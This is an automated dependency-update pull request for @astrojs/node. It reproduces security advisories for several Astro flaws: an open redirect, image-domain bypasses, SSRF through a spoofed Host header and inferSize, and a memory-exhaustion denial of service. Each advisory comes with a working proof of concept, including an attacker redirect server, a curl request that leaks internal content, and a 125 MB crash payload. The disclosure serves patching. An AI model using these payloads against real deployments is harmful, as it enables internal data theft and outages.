chore(deps): update dependency @astrojs/node to v9.5.4 [security] by renovate[bot] · Pull Request #380 · Nickersoft/atmx

renovate · 2025-08-16T03:25:36Z

This PR contains the following updates:

Package	Change	Age	Confidence
@astrojs/node (source)	`9.0.2` → `9.5.4`

GitHub Vulnerability Alerts

CVE-2025-55207

Summary

Following GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios.

Details

Astro 5.12.8 fixed a case where https://example.com//astro.build/press would redirect to the external origin //astro.build/press. However, with the Node deployment adapter in standalone mode and trailingSlash set to "always" in the Astro configuration, https://example.com//astro.build/press still redirects to //astro.build/press.

Proof of Concept

Create a new minimal Astro project (astro@5.12.8)

Configure it to use the Node adapter (@astrojs/node@9.4.0) and force trailing slashes:

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
  trailingSlash: 'always',
  adapter: node({ mode: 'standalone' }),
});

Build the site by running astro build.
Run the server, e.g. with astro preview.
Append //astro.build/press to the preview URL, e.g. http://localhost:4321//astro.build/press
The site will redirect to the external Astro Build origin.

Example reproduction

Open this StackBlitz reproduction.
Open the preview in a separate window so the StackBlitz embed doesn't cause security errors.
Append //astro.build/press to the preview URL, e.g. https://x.local-corp.webcontainer.io//astro.build/press.
See it redirect to the external Astro Build origin.

Impact

This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.

No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.

CVE-2025-55303

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept

Create a new minimal Astro project (astro@5.13.0).

Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
	adapter: node({ mode: 'standalone' }),
});

Build the site by running astro build.
Run the server, e.g. with astro preview.
Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400
The site will serve the image from the unauthorized placehold.co origin.

Impact

Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

CVE-2026-25545

Summary

Server-Side Rendered pages that return an error with a prerendered custom error page (eg. 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, it will be fetched on /500.html and they can redirect this to any internal URL to read the response body through the first request.

Details

The following line of code fetches statusURL and returns the response back to the client:

https://github.com/withastro/astro/blob/bf0b4bfc7439ddc565f61a62037880e4e701eb05/packages/astro/src/core/app/base.ts#L534

statusURL comes from this.baseWithoutTrailingSlash, which is built from the Host: header. prerenderedErrorPageFetch() is just fetch(), and follows redirects. This makes it possible for an attacker to set the Host: header to their server (eg. Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetch http://attacker.tld/500.html.

The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.

Looking at the vulnerable code, the way to reach this is if the renderError() function is called (error response during SSR) and the error page is prerendered (custom 500.astro error page). The PoC below shows how a basic project with these requirements can be set up.

Note: Another common vulnerable pattern for 404.astro we saw is:

return new Response(null, {status: 404});

Also, it does not matter what allowedDomains is set to, since it only checks the X-Forwarded-Host: header.

https://github.com/withastro/astro/blob/9e16d63cdd2537c406e50d005b389ac115755e8e/packages/astro/src/core/app/base.ts#L146

PoC

Create a new empty project

npm create astro@latest poc -- --template minimal --install --no-git --yes

Create poc/src/pages/error.astro which throws an error with SSR:

---
export const prerender = false;

throw new Error("Test")
---

Create poc/src/pages/500.astro with any content like:

<p>500 Internal Server Error</p>

Build and run the app

cd poc
npx astro add node --yes
npm run build && npm run preview

Set up an "internal server" which we will SSRF to. Create a file called ssrf.txt and host it locally on http://localhost:8000:

cd $(mktemp -d)
echo "SECRET CONTENT" > ssrf.txt
python3 -m http.server

Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:

# pip install Flask
from flask import Flask, redirect

app = Flask(__name__)

@&#8203;app.route("/500.html")
def exploit():
    return redirect("http://127.0.0.1:8000/ssrf.txt")

if __name__ == "__main__":
    app.run()

Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".

$ curl -i http://localhost:4321/error -H 'Host: localhost:5000'
HTTP/1.1 500 OK
content-type: text/plain
date: Tue, 03 Feb 2026 09:51:28 GMT
last-modified: Tue, 03 Feb 2026 09:51:09 GMT
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET CONTENT

Impact

An attacker who can access the application without Host: header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.

For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).

CVE-2026-27829

Summary

A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.

Details

Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

PoC

Details

Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@&#8203;astrojs/node": "9.5.3"
  }
}

astro.config.mjs — only localhost:9000 is authorized:

import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});

internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):

import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));

src/pages/test.astro:

---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>

Steps to reproduce

Run npm install and start the internal service:

node internal-service.mjs

Start the dev server:

npm run dev

Request the page:

curl http://localhost:4322/test

internal-service.mjs logs Received: GET /internal-api — the request was sent to 127.0.0.1:8888 despite only localhost:9000 being in the allowlist.

Impact

Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.

CVE-2026-27729

Summary

Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.

Details

On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.

Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.

Action names are discoverable from HTML form attributes on any public page, so no authentication is required.

PoC

Details

Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-dos",
  "private": true,
  "scripts": {
    "build": "astro build",
    "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@&#8203;astrojs/node": "9.5.3"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/actions/index.ts:

import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';

export const server = {
  echo: defineAction({
    input: z.object({ data: z.string() }),
    handler: async (input) => ({ received: input.data.length }),
  }),
};

src/pages/index.astro:

---
---
<html><body><p>Server running</p></body></html>

crash-test.mjs:

const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });

console.log('Sending 125 MB payload...');
try {
  const res = await fetch('http://localhost:4321/_actions/echo', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
    body: payload,
  });
  console.log('Status:', res.status);
} catch (e) {
  console.log('Server crashed:', e.message);
}

Reproduction

npm install && npm run build

# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb

# Terminal 2: Send 125 MB payload
node crash-test.mjs

The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.

Impact

Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.

Release Notes

withastro/astro (@astrojs/node)

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